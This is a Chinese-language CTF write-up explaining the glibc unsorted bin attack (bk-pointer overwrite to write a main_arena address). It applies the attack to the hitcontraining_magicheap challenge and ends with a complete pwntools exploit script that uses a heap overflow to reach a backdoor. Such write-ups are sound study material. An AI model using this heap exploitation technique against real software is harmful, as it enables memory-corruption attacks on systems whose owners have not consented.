基础知识
针对类型
需要修改任意地址位一个较大的值
- 修改循环次数,执行多次循环
- 修改heap的global_max_fast(使得更大的chunk可以视为fastbin)
步骤
可修改unsortedbin的bk指针
方法
得到unsortbin方法
- 一个大的chunk被分割 => 剩下的部分大于MINISIZE
- 释放一个不属于fastbin的chunk,该chunk不和top chunk相邻
- 进行malloc_consolidate,合并后的chunk放入unsortbin,且该chunk不和top chunk相邻
unosortbin链
- 采用FIFO的顺序
- 若fastbin和smallbin中没有对应大小块,则从unsortbin中取
main_arena => libc_base
因为main_arena和__malloc_hook只相差0x10,所以
1
| libc_base = main_arena - 0x10 - libc.sym['__malloc_hook']
|
unsortedbin attack
当将一个 unsorted bin 取出的时候,会将 bck->fd
的位置写入本 Unsorted Bin 的位置。
步骤
- 将一个chunk放入unsortedbin中
- 修改该chunk的bk指针为target-0x10
- 申请该大小的chunk
结果
修改target地址的值为&main_arena+0x88
题目
hitcontraining_magicheap
分析
- 存在后门函数,只要修改magic的大小>0x1305即可,故使用unsortedbin
- edit的size自己输入,存在堆溢出,故可以修改bk指针。
思路
申请三个块
chunk1是为了堆溢出修改第二个块的bk
chunk2主要进行unsortbin attack
chunk3防止和top chunk合并
释放chunk2
chunk申请大小0x100,大于fastbin大小,从而进入unsortbin链
堆溢出chunk1,修改chunk2的bk指针
修改位magic-0x10的位置
重新申请0x100的大小,从而将chunk2从unsortbin中取出,从而向bk指向的地址写入&main_arena+0x88
进入后门函数
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * context.log_level = 'debug' file = "magicheap"
local=0
if local == 0: p = process("./"+file) elf = ELF("./"+file) libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elif local == 1: p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file], env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"}) elf = ELF("./file") libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")
elif local == 2: p = remote() elf = ELF("./"+file) libc = ELF("./libc-2.23.so")
def cmd(choice): p.recvuntil("Your choice :") p.sendline(str(choice))
def add(size,content): cmd(1) p.recvuntil("Size of Heap : ") p.sendline(str(size)) p.recvuntil("Content of heap:") p.sendline(content) def edit(idx,size,content): cmd(2) p.recvuntil("Index :") p.sendline(str(idx)) p.recvuntil("Size of Heap :") p.sendline(str(size)) p.recvuntil("Content of heap : ") p.sendline(content)
def delete(idx): cmd(3) p.recvuntil("Index :") p.sendline(str(idx))
magic = 0x006020A0 - 0x10 add(0x30,'aaaa') add(0x100,'aaaa') add(0x30,'aaaa') delete(1) payload = 'a'*0x30 payload += p64(0) + p64(0x111) payload += p64(0) + p64(magic) edit(0,len(payload),payload) add(0x100,'aaa')
cmd(0x1305)
p.interactive()
|
下载
附件
2016_0CTF_zerostorage